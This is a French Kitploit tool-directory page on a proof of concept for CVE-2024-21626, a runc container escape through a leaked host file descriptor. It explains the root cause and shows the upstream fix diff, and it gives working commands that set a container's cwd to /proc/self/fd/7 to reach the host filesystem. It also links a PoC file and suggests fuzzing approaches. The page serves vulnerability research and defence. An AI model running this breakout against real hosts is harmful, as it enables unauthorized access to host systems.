Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-21626-PoC — Cause racine et preuve de code | Kitploit
Outils/GitHubGitHub/r4mbb/cve-2024-21626-poc
Analyse des VulnérabilitésExploitationFuzzingTests d'IntrusionÉvasion de ConteneurExploitation de Binaires
GitHubr4mbb/cve-2024-21626-poc

CVE-2024-21626-PoC

Cause racine et preuve de code

Voir le dépôt
5il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-21626

Cause racine & Preuve de concept

Comment utiliser poc-autoplay ?

root@kitploit:~
make install

make uninstall

1. Cause racine

  • Dans les versions de runc v1.1.11 et antérieures, lors de l'ouverture du répertoire /sys/fs/cgroup de l'hôte pour configurer le cgroup, le descripteur de fichier correspondant n'est pas fermé dans le processus d'initialisation du conteneur, ce qui entraîne cette vulnérabilité.
  1. Lors de l'étape runc init, /proc/{PID}/fd/7 est obtenu via /sys/fs/cgroup de l'hôte.
  2. Le conteneur PID 1 est fork/exec sans fermer ce fd.
  3. Dans la spécification runc ou l'option runc exec —cwd, le répertoire de travail (cwd) est défini sur un chemin contrôlé par l'attaquant, tel que /proc/self/fd/7/ obtenu ci-dessus.
  4. Après chdir, le cwd de PID 1 est déplacé en dehors du rootfs du conteneur.
  5. Les processus à l'intérieur du conteneur peuvent accéder ou modifier le système de fichiers de l'hôte, entraînant une évasion de conteneur.
root@kitploit:~
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }
Télécharger l’outil
  • Une logique de validation du cwd immédiatement après chdir a été ajoutée.
  • Dans libcontainer/init_linux.go, la fonction verifyCwd() a été ajoutée pour vérifier si le cwd est toujours à l'intérieur du conteneur après chdir, puis décider de générer une erreur.
  • Une logique de fermeture de tous les descripteurs de fichier divulgués a été ajoutée.
  • Juste avant l'execve final, tous les fd internes sont fermés pour éviter que les fd de l'hôte restent dans le processus du conteneur.

2. Preuve de concept

  • Environnement
root@kitploit:~
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • Exploitation via runc lui-même
root@kitploit:~
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

À l'intérieur de Docker, démarrer depuis le chemin / local.

  • Lors de la création du conteneur, le répertoire de travail doit être défini sur un descripteur de fichier spécifique. Le fd ouvert de l'hôte et le fd à l'intérieur du conteneur sont connectés, permettant une évasion Docker.

  • Fichier PoC -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

root@kitploit:~
- make install, make uninstall
  • MP4 PoC -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. Comment cette vulnérabilité peut-elle être fuzzée ?

  • Appliquer go-fuzz sur le binaire runc vulnérable.
  • Cibler le traitement de chdir(config.Cwd) dans la fonction vulnérable finalizeNamespace() en fournissant des configurations OCI aléatoires comme entrées.
  • De cette manière, après chdir, le cwd peut être analysé pour les exceptions de chemin relatif ou les crashs.
  • Appliquer AFL++ sur le binaire runc de la version vulnérable.
  • Fuzzer le JSON de la spécification OCI et les arguments CLI de runc.
  • Cibler la partie cwd dans le JSON de la spécification OCI pour analyser les crashs se produisant au point chdir.